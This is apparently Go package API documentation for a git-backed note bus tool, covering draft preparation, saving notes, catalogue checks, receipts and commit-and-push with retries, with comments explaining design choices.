Prepare validates a draft, assigns its id and date, and works out where it goes. It writes nothing: every refusal here happens before the bus is touched.

It is PrepareDraft with nobody named by --as, which is what a caller with a draft that already carries its own From line has.

func PrepareDraft added in v0.10.1

func PrepareDraft(t *Bus, text string, now time.Time, slugOverride, as string) (Prepared, error)

PrepareDraft is Prepare with the send-side tolerances and the caller's own name.

TWO THINGS IT DOES THAT THE OLD ONE DID NOT, and both come from one new line's first send. It TOLERATES the four shapes a house style arrives in -- see tolerate in draft.go, where each is written out with the reason it is not a guess -- and it says on a notice what it did. And it COLLECTS: a draft with three mistakes in it is three lines of refusal from one run, not one line three times, because the person at the terminal is reading their own draft and not playing twenty questions with a tool.

What it still refuses is what it cannot read without guessing: a recipient the roster does not know, a header with no To line at all, a key nobody knows, a Re naming nothing. Those are the same refusals they always were, with the rest of the run's findings beside them.

func (Prepared) AppendIndex

func (p Prepared) AppendIndex(root string) error

AppendIndex adds this note to its lane's catalogue. It runs after Save, so a note that could not be written is never catalogued.

func (Prepared) Paths

func (p Prepared) Paths() []string

Paths is what a send commits: the note, and the line appended to the lane's catalogue. Both, in one commit, because a catalogue that can lag the notes by a commit is a catalogue a reader between the two would resolve wrongly.

func (Prepared) Save

func (p Prepared) Save(root string) error

Save puts a prepared note on disk. It refuses to overwrite: a note once written is not rewritten, which is the bus's own rule and not this tool's invention.

It also refuses to write OUTSIDE the bus root. Every path reaching here has been built from a validated lane and a validated slug, so this assertion should be unreachable -- which is exactly why it is here: the cost of it is one Rel call per note and the cost of being wrong about it is a tool that writes a file anywhere its input names.

It is called Save rather than Write because it is not a writer, and the repo's escape audit reads a .Write call as bytes reaching a stream past the one-line escape.

type PreparedArtifact added in v0.15.0

type PreparedArtifact struct {
	Schema string `json:"schema"`
	ID     string `json:"id"`
	Path   string `json:"path"`
	Note   string `json:"note"`
	SHA256 string `json:"sha256"`
}

PreparedArtifact is the complete, self-contained JSON artifact representing a prepared note before delivery or mutation on the bus.

func MakePreparedArtifact added in v0.15.0

func MakePreparedArtifact(p Prepared) (PreparedArtifact, error)

MakePreparedArtifact constructs a valid PreparedArtifact from a Prepared note. It verifies that the rendered note ends with LF and computes the full sha256 digest.

type Problem

type Problem struct {
	Where  string // a path, a path:line, or a lane
	Reason string

	// Warn is set when the finding was inside the legacy tolerance: it is reported and
	// does not fail the run.
	Warn bool
}

Problem is one check finding: a place, a reason, and whether it was tolerated.

func CheckIndex

func CheckIndex(c *Config, t *Bus, idx *Index) []Problem

CheckIndex is the INDEX half of `check --full`: the catalogue agrees with the lane, in both directions. An entry naming a note that is not there, or naming it with the wrong id, is a catalogue that would resolve a thread to the wrong note; a note with an id and no entry is a catalogue that would let a duplicate id through. `--rebuild-index` writes both away, from the notes, which are the record either way.

type Problems added in v0.10.1

type Problems struct{ Reasons []error }

Problems is every reason one draft was refused.

A refusal used to be the FIRST reason: a draft with a Date line, no From line and a misspelled recipient was three runs of the tool, and the person at the terminal did the tool's counting. So send collects, and prints one line per reason.

func (*Problems) Error added in v0.10.1

func (p *Problems) Error() string

func (*Problems) Unwrap added in v0.10.1

func (p *Problems) Unwrap() []error

Unwrap gives errors.Is and errors.As every reason rather than the first.

type PushResult

type PushResult struct {
	Commit   string
	Attempts int
	Pushed   bool
	State    string
}

PushResult is what CommitAndPush did.

func CommitAndPush

func CommitAndPush(dir string, id Identity, paths []string, message, remote, branch string, attempts int) (PushResult, error)

CommitAndPush stages the given repo-relative paths, commits them under id, and pushes with fetch, rebase and bounded retry.

The commit names its paths explicitly, so anything else that happens to be staged is not swept into a note's commit.

func CommitOnly

func CommitOnly(dir string, id Identity, paths []string, message string) (PushResult, error)

CommitOnly stages and commits without pushing. The note is NOT on the bus until it is pushed, and every caller of this says so in its output: pushed=false is a state, not a success.

func SendPreparedArtifact added in v0.15.0

func SendPreparedArtifact(busDir, remote, branch string, p Prepared, art PreparedArtifact, attempts int) (PushResult, error)

SendPreparedArtifact publishes or confirms delivery of a prepared note artifact.

type Receipt

type Receipt struct {
	Lane   string
	Stamp  time.Time
	Raw    string // the stamp exactly as written
	Target string // an id, or a repo-relative path
	Line   int
}

Receipt is one recorded hearing.

type ReceiptPlan

type ReceiptPlan struct {
	Lane    string
	Path    string   // repo-relative path of the RECEIPTS file
	Record  []string // the canonical targets to append, in the order given
	Already []string // targets this lane has already recorded
	Stamp   string
}

ReceiptPlan is what a receipt run will record.

func PlanReceipts

func PlanReceipts(t *Bus, me Participant, targets []string, now time.Time) (ReceiptPlan, error)

PlanReceipts resolves the targets a caller wants to mark heard.

A receipt records the note's ID when it has one and its PATH when it does not, so a receipt for a legacy note is as good a receipt as any other. A note already answered by a reply is still receivable -- the two are different records and the answered rule accepts either -- but a target already in this lane's RECEIPTS is reported and not written twice.

func (ReceiptPlan) Append

func (plan ReceiptPlan) Append(root string) error

Append writes the planned receipt lines. The file is opened for append and created if absent: one file per lane, only ever added to, so two lines recording receipts in the same second touch different files and cannot conflict.

func (ReceiptPlan) Message

func (plan ReceiptPlan) Message(me Participant) string

Message is the commit message for a receipt run.

type Scope

type Scope struct {
	// Full is set when the run walked the whole bus.
	Full bool
	// From is the commit an incremental run started at, or "" for a full one.
	From string
	// Changed is how many lane paths the diff named.
	Changed int
}

Scope is what one run looked at, for the line that says so.

func (Scope) Mode

func (s Scope) Mode() string

Mode is "full" or "since", for the output line.

type Skeleton added in v0.10.1

type Skeleton struct {
	From string
	// To and Cc are the caller's OWN lines, resolved against the roster and then written
	// as they were written. A group is a name on this bus and stays the group's name, and
	// an instance qualifier stays on the name it qualifies: the header's rule everywhere
	// else is that the author's text is preserved, and a skeleton is the author's text.
	To      string
	Cc      string
	Re      []string
	Subject string
}

Skeleton is a draft's header before anybody has written the note: the verb `draft` resolves the names against the roster and this renders them.

It writes no Date and no Id, because those are the tool's and are written at send. What it does write is the ORDER send writes, so that the file a person edits and the file that lands on the bus are the same shape.

func (Skeleton) Render added in v0.10.1

func (s Skeleton) Render() string

Render is the skeleton as a file: the header, a blank line, one line of body.

type Unaddressed

type Unaddressed struct {
	// Path is repo-relative.
	Path string
	// Reason says which line named nobody, in the words the reader needs to fix it.
	Reason string
}

Unaddressed is one note on the bus that resolves to no recipient at all.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL